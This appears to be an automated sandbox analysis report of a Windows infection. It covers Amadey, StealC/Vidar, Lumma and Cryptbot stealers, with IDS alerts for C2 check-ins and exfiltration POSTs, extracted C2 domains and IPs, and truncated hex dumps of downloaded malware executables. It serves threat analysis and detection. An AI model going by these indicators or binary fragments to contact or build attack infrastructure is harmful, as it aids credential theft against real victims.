Source:	Binary string: C:\build\work\eca3d12b\wix3\build\obj\ship\x86\Compression.Cab\Microsoft.Deployment.Compression.Cab.pdb source: rundll32.exe, 0000001C.00000003.3047650336.00000000044B8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000001C.00000003.3051636851.00000000040F0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewTextV2.pdbdj~j pj_CorExeMainmscoree.dll source: skotes.exe, 00000006.00000002.3565466179.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, NN9Dd7c.exe, 00000008.00000000.2777700544.0000000000682000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\build\work\eca3d12b\wix3\build\ship\x86\wixca.pdb source: ga70pjP.exe, 00000016.00000002.3228594051.0000000006D0A000.00000004.00000800.00020000.00000000.sdmp, ga70pjP.exe, 00000016.00000002.3210584122.000000000599C000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\build\work\eca3d12b\wix3\build\obj\ship\x86\Compression\Microsoft.Deployment.Compression.pdb source: rundll32.exe, 0000001C.00000003.3047650336.0000000004449000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdbS] source: ga70pjP.exe, 00000016.00000002.3203015724.00000000055A0000.00000004.08000000.00040000.00000000.sdmp, ga70pjP.exe, 00000016.00000002.3115608958.0000000003E73000.00000004.00000800.00020000.00000000.sdmp, ga70pjP.exe, 00000016.00000000.3002227462.0000000000296000.00000002.00000001.01000000.00000019.sdmp, rundll32.exe, 0000001C.00000003.3047650336.0000000004449000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000021.00000002.3720350204.000000001BD45000.00000002.00000001.01000000.00000022.sdmp
Source:	Binary string: screenconnect_windows_credential_provider.pdb source: ScreenConnect.ClientService.exe, 0000001F.00000002.3683574522.00000000024B7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000021.00000002.3642492246.0000000012B80000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdb source: ScreenConnect.WindowsClient.exe, 00000021.00000000.3114073249.0000000000A82000.00000002.00000001.01000000.00000025.sdmp
Source:	Binary string: E:\delivery\Dev\wix37_public\build\ship\x86\SfxCA.pdb source: ga70pjP.exe, 00000016.00000002.3115608958.000000000412C000.00000004.00000800.00020000.00000000.sdmp, ga70pjP.exe, 00000016.00000000.3002227462.0000000000691000.00000002.00000001.01000000.00000019.sdmp, ga70pjP.exe, 00000016.00000002.3210584122.0000000005996000.00000004.08000000.00040000.00000000.sdmp, ga70pjP.exe, 00000016.00000002.3228594051.0000000006A19000.00000004.00000800.00020000.00000000.sdmp, ga70pjP.exe, 00000016.00000002.3115608958.000000000432C000.00000004.00000800.00020000.00000000.sdmp, ga70pjP.exe, 00000016.00000002.3263807870.00000000077E4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdbu source: ScreenConnect.WindowsClient.exe, 00000021.00000000.3114073249.0000000000A82000.00000002.00000001.01000000.00000025.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdbi source: ScreenConnect.WindowsClient.exe, 00000022.00000002.3558773443.0000000001172000.00000002.00000001.01000000.00000023.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdb source: ScreenConnect.WindowsClient.exe, 00000022.00000002.3558773443.0000000001172000.00000002.00000001.01000000.00000023.sdmp
Source:	Binary string: screenconnect_windows_credential_provider.pdb' source: ScreenConnect.ClientService.exe, 0000001F.00000002.3683574522.00000000024B7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000021.00000002.3642492246.0000000012B80000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewText.pdb source: skotes.exe, 00000006.00000002.3565383370.0000000001070000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetRunner.pdb source: ga70pjP.exe, 00000016.00000000.3002095839.000000000028D000.00000002.00000001.01000000.00000019.sdmp

Source: C:\Windows\System32\msiexec.exe	File opened: z:
Source: C:\Windows\System32\msiexec.exe	File opened: x:
Source: C:\Windows\System32\msiexec.exe	File opened: v:
Source: C:\Windows\System32\msiexec.exe	File opened: t:
Source: C:\Windows\System32\msiexec.exe	File opened: r:
Source: C:\Windows\System32\msiexec.exe	File opened: p:
Source: C:\Windows\System32\msiexec.exe	File opened: n:
Source: C:\Windows\System32\msiexec.exe	File opened: l:
Source: C:\Windows\System32\msiexec.exe	File opened: j:
Source: C:\Windows\System32\msiexec.exe	File opened: h:
Source: C:\Windows\System32\msiexec.exe	File opened: f:
Source: C:\Windows\System32\msiexec.exe	File opened: b:
Source: C:\Windows\System32\msiexec.exe	File opened: y:
Source: C:\Windows\System32\msiexec.exe	File opened: w:
Source: C:\Windows\System32\msiexec.exe	File opened: u:
Source: C:\Windows\System32\msiexec.exe	File opened: s:
Source: C:\Windows\System32\msiexec.exe	File opened: q:
Source: C:\Windows\System32\msiexec.exe	File opened: o:
Source: C:\Windows\System32\msiexec.exe	File opened: m:
Source: C:\Windows\System32\msiexec.exe	File opened: k:
Source: C:\Windows\System32\msiexec.exe	File opened: i:
Source: C:\Windows\System32\msiexec.exe	File opened: g:
Source: C:\Windows\System32\msiexec.exe	File opened: e:
Source: C:\Windows\System32\cmd.exe	File opened: c:
Source: C:\Windows\System32\msiexec.exe	File opened: a:

Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe

Directory queried: number of queries: 1001

Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\

Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Code function: 4x nop then jmp 02763677h	8_2_0276347A
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 4x nop then jmp 04AF5B19h	15_2_04AF5193
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 4x nop then jmp 04AF5B19h	15_2_04AF516B

Source: chrome.exe

Memory has grown: Private usage: 5MB later: 30MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:49832 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49855 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:49838
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49875 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058401 - Severity 1 - ET MALWARE StealC/Vidar CnC Domain in DNS Lookup (hulkpara .xyz) : 192.168.2.6:59542 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058402 - Severity 1 - ET MALWARE Observed StealC/Vidar Stealer Domain (hulkpara .xyz in TLS SNI) : 192.168.2.6:49911 -> 94.130.191.168:443
Source: Network traffic	Suricata IDS: 2058402 - Severity 1 - ET MALWARE Observed StealC/Vidar Stealer Domain (hulkpara .xyz in TLS SNI) : 192.168.2.6:49925 -> 94.130.191.168:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49922 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058402 - Severity 1 - ET MALWARE Observed StealC/Vidar Stealer Domain (hulkpara .xyz in TLS SNI) : 192.168.2.6:49918 -> 94.130.191.168:443
Source: Network traffic	Suricata IDS: 2058402 - Severity 1 - ET MALWARE Observed StealC/Vidar Stealer Domain (hulkpara .xyz in TLS SNI) : 192.168.2.6:49934 -> 94.130.191.168:443
Source: Network traffic	Suricata IDS: 2058402 - Severity 1 - ET MALWARE Observed StealC/Vidar Stealer Domain (hulkpara .xyz in TLS SNI) : 192.168.2.6:49946 -> 94.130.191.168:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49955 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058402 - Severity 1 - ET MALWARE Observed StealC/Vidar Stealer Domain (hulkpara .xyz in TLS SNI) : 192.168.2.6:49959 -> 94.130.191.168:443
Source: Network traffic	Suricata IDS: 2058402 - Severity 1 - ET MALWARE Observed StealC/Vidar Stealer Domain (hulkpara .xyz in TLS SNI) : 192.168.2.6:49966 -> 94.130.191.168:443
Source: Network traffic	Suricata IDS: 2058402 - Severity 1 - ET MALWARE Observed StealC/Vidar Stealer Domain (hulkpara .xyz in TLS SNI) : 192.168.2.6:50000 -> 94.130.191.168:443
Source: Network traffic	Suricata IDS: 2058402 - Severity 1 - ET MALWARE Observed StealC/Vidar Stealer Domain (hulkpara .xyz in TLS SNI) : 192.168.2.6:50005 -> 94.130.191.168:443
Source: Network traffic	Suricata IDS: 2058402 - Severity 1 - ET MALWARE Observed StealC/Vidar Stealer Domain (hulkpara .xyz in TLS SNI) : 192.168.2.6:50016 -> 94.130.191.168:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50007 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058402 - Severity 1 - ET MALWARE Observed StealC/Vidar Stealer Domain (hulkpara .xyz in TLS SNI) : 192.168.2.6:50023 -> 94.130.191.168:443
Source: Network traffic	Suricata IDS: 2058402 - Severity 1 - ET MALWARE Observed StealC/Vidar Stealer Domain (hulkpara .xyz in TLS SNI) : 192.168.2.6:50028 -> 94.130.191.168:443
Source: Network traffic	Suricata IDS: 2058402 - Severity 1 - ET MALWARE Observed StealC/Vidar Stealer Domain (hulkpara .xyz in TLS SNI) : 192.168.2.6:50070 -> 94.130.191.168:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50073 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058402 - Severity 1 - ET MALWARE Observed StealC/Vidar Stealer Domain (hulkpara .xyz in TLS SNI) : 192.168.2.6:50096 -> 94.130.191.168:443
Source: Network traffic	Suricata IDS: 2058402 - Severity 1 - ET MALWARE Observed StealC/Vidar Stealer Domain (hulkpara .xyz in TLS SNI) : 192.168.2.6:50097 -> 94.130.191.168:443
Source: Network traffic	Suricata IDS: 2058402 - Severity 1 - ET MALWARE Observed StealC/Vidar Stealer Domain (hulkpara .xyz in TLS SNI) : 192.168.2.6:50108 -> 94.130.191.168:443
Source: Network traffic	Suricata IDS: 2058402 - Severity 1 - ET MALWARE Observed StealC/Vidar Stealer Domain (hulkpara .xyz in TLS SNI) : 192.168.2.6:50115 -> 94.130.191.168:443
Source: Network traffic	Suricata IDS: 2856121 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M2 : 192.168.2.6:50116 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058402 - Severity 1 - ET MALWARE Observed StealC/Vidar Stealer Domain (hulkpara .xyz in TLS SNI) : 192.168.2.6:50140 -> 94.130.191.168:443
Source: Network traffic	Suricata IDS: 2058402 - Severity 1 - ET MALWARE Observed StealC/Vidar Stealer Domain (hulkpara .xyz in TLS SNI) : 192.168.2.6:50141 -> 94.130.191.168:443
Source: Network traffic	Suricata IDS: 2058402 - Severity 1 - ET MALWARE Observed StealC/Vidar Stealer Domain (hulkpara .xyz in TLS SNI) : 192.168.2.6:50152 -> 94.130.191.168:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50153 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058354 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat) : 192.168.2.6:60393 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058355 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI) : 192.168.2.6:50184 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.6:50164 -> 176.53.146.212:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.6:50162 -> 176.53.146.212:80
Source: Network traffic	Suricata IDS: 2058355 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI) : 192.168.2.6:50183 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.6:50181 -> 176.53.146.212:80
Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1 : 192.168.2.6:49946 -> 94.130.191.168:443
Source: Network traffic	Suricata IDS: 2859378 - Severity 1 - ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2 : 192.168.2.6:49918 -> 94.130.191.168:443
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 94.130.191.168:443 -> 192.168.2.6:49934
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 94.130.191.168:443 -> 192.168.2.6:49946
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49984 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49984 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49991 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49991 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:50020 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.6:50122 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50145 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50183 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50183 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50184 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50184 -> 188.114.96.6:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: cheapptaxysu.click
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: http://www.microsoft.com0
Source: Malware configuration extractor	IPs: 185.215.113.43

Enables network access during safeboot for specific services

Source: C:\Windows\System32\msiexec.exe

Registry value created: NULL Service

Performs DNS queries to domains with low reputation

Source:

DNS query: hulkpara.xyz

Source: global traffic

TCP traffic: 192.168.2.6:49956 -> 95.214.234.11:8880

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 15:10:12 GMTContent-Type: application/octet-streamContent-Length: 22016Last-Modified: Thu, 19 Dec 2024 14:25:15 GMTConnection: keep-aliveETag: "67642ccb-5600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 66 0f 37 94 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 4c 00 00 00 08 00 00 00 00 00 00 8e 6a 00 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 00 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3c 6a 00 00 4f 00 00 00 00 80 00 00 ac 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 0c 00 00 00 a8 69 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 94 4a 00 00 00 20 00 00 00 4c 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 ac 05 00 00 00 80 00 00 00 06 00 00 00 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 00 00 00 02 00 00 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 6a 00 00 00 00 00 00 48 00 00 00 02 00 05 00 28 37 00 00 80 32 00 00 03 00 02 00 1b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 02 00 38 00 00 00 01 00 00 11 73 2f 00 00 06 0a 06 28 16 00 00 0a 7d 20 00 00 04 06 02 7d 21 00 00 04 06 15 7d 1f 00 00 04 06 7c 20 00 00 04 12 00 28 01 00 00 2b 06 7c 20 00 00 04 28 18 00 00 0a 2a 13 30 02 00 50 00 00 00 02 00 00 11 00 7e 02 00 00 04 16 fe 01 0a 06 2c 42 00 72 01 00 00 70 28 19 00 00 0a 00 72 84 00 00 70 28 19 00 00 0a 00 28 05 00 00 06 0b 72 ca 00 00 70 07 28 1a 00 00 0a 28 19 00 00 0a 00 07 28 04 00 00 06 6f 1b 00 00 0a 00 16 28 1c 00 00 0a 00 00 2a 13 30 02 00 38 00 00 00 03 00 00 11 73 32 00 00 06 0a 06 28 16 00 00 0a 7d 28 00 00 04 06 02 7d 29 00 00 04 06 15 7d 27 00 00 04 06 7c 28 00 00 04 12 00 28 02 00 00 2b 06 7c 28 00 00 04 28 18 00 00 0a 2a 13 30 05 00 48 00 00 00 04 00 00 11 00 73 1d 00 00 0a 0a 1a 8d 2f 00 00 01 0b 16 0c 2b 1c 00 07 08 7e 03 00 00 04 06 7e 03 00 00 04 8e 69 6f 1e 00 00 0a 9a a2 00 08 17 58 0c 08 1a fe 04 0d 09 2d dc 72 f0 00 00 70 07 28 1f 00 00 0a 13 04 2b 00 11 04 2a 13 30 02 00 16
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 15:10:18 GMTContent-Type: application/octet-streamContent-Length: 1114112Last-Modified: Thu, 19 Dec 2024 03:43:46 GMTConnection: keep-aliveETag: "67639672-110000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 24 95 63 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 cc 10 00 00 32 00 00 00 00 00 00 ee ea 10 00 00 20 00 00 00 00 11 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 11 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 ea 10 00 57 00 00 00 00 00 11 00 48 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 11 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 ca 10 00 00 20 00 00 00 cc 10 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 48 2f 00 00 00 00 11 00 00 30 00 00 00 ce 10 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 40 11 00 00 02 00 00 00 fe 10 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 ea 10 00 00 00 00 00 48 00 00 00 02 00 05 00 f0 3c 10 00 a4 ad 00 00 03 00 00 00 4b 00 00 06 90 cc 00 00 60 70 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe 59 3f a8 46 36 30 84 8d 99 35 b2 d7 ba 38 1a 04 e1 c1 34 7a 63 cb 3a 03 56 92 13 f5 e3 07 ce b0 b7 af 4e 86 30 c8 a0 a9 18 31 bb 9b aa d3 d6 97 4f 2a 18 53 9a e6 7e 04 d9 f6 cb a2 c0 0c f1 49 85 ff a2 70 52 05 b8 69 49 c0 d2 09 93 f6 80 50 6e 7d 9b 0e d8 a3 69 4a 21 42 48 8d 2b 6f 2f 53 ce de 79 6a a1 0e 91 38 54 27 cb 7d fa c0 ca 0f 79 ae 49 a7 6b 44 18 0d cd ef cf 27 f4 88 c7 1c f4 24 c4 36 fa f9 8d ca 7d ad 9c 77 5b db 20 29 e0 89 13 6a 80 07 5b bd 2d 16 d1 30 b8 af 9b bc 7c 7f 95 97 70 cc 12 c3 e3 68 5c 1f ff 4c 8a be b5 18 52 d9 54 96 7e 14 b4 9a 8f 1a 04 62 14 4b 86 68 b2 f1 85 12 0a 22 07 38 c7 73 60 29 e1 f6 9a 31 dd bf b1 13 20 c5 cc aa 98 9e 5b 69 26 ce 39 95 e8 9a 8a 81 a4 61 3f 19 46 03 89 4e 1d d7 98 7e f5 ff cd 5f 12 5e 7f 1b 8e 51 88 1e b8 db bc e6 34 33 f7 4c 97 80 01 81 c2 40 76 b3 89 e6 78 c5 ae 07 49 42 ed 34 de da f1 ba c2 0c 8a b7 f3 9a f3 f4 ac 7c bc 00 05 b9 9e c6 28 8a f1 f1 82 ed c7 cc a1 03 ab 7e 18 59 f7
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 15:10:25 GMTContent-Type: application/octet-streamContent-Length: 5652480Last-Modified: Thu, 19 Dec 2024 14:43:43 GMTConnection: keep-aliveETag: "6764311f-564000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 01 5f 0e e5 45 3e 60 b6 45 3e 60 b6 45 3e 60 b6 f1 a2 91 b6 4f 3e 60 b6 f1 a2 93 b6 3f 3e 60 b6 f1 a2 92 b6 5d 3e 60 b6 c5 45 65 b7 60 3e 60 b6 c5 45 64 b7 54 3e 60 b6 c5 45 63 b7 51 3e 60 b6 4c 46 f3 b6 41 3e 60 b6 5b 6c f3 b6 46 3e 60 b6 45 3e 61 b6 25 3e 60 b6 cb 45 69 b7 44 3e 60 b6 cb 45 9f b6 44 3e 60 b6 cb 45 62 b7 44 3e 60 b6 52 69 63 68 45 3e 60 b6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ac e6 77 63 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 21 00 b2 00 00 00 ac 53 00 00 00 00 00 ad 14 00 00 00 10 00 00 00 d0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 54 00 00 04 00 00 c1 d1 54 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c4 29 01 00 50 00 00 00 00 60 01 00 74 30 53 00 00 00 00 00 00 00 00 00 00 62 54 00 00 de 01 00 00 a0 54 00 a8 0e 00 00 20 1f 01 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 1e 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 3c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 af b1 00 00 00 10 00 00 00 b2 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 78 60 00 00 00 d0 00 00 00 62 00 00 00 b6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 e4 11 00 00 00 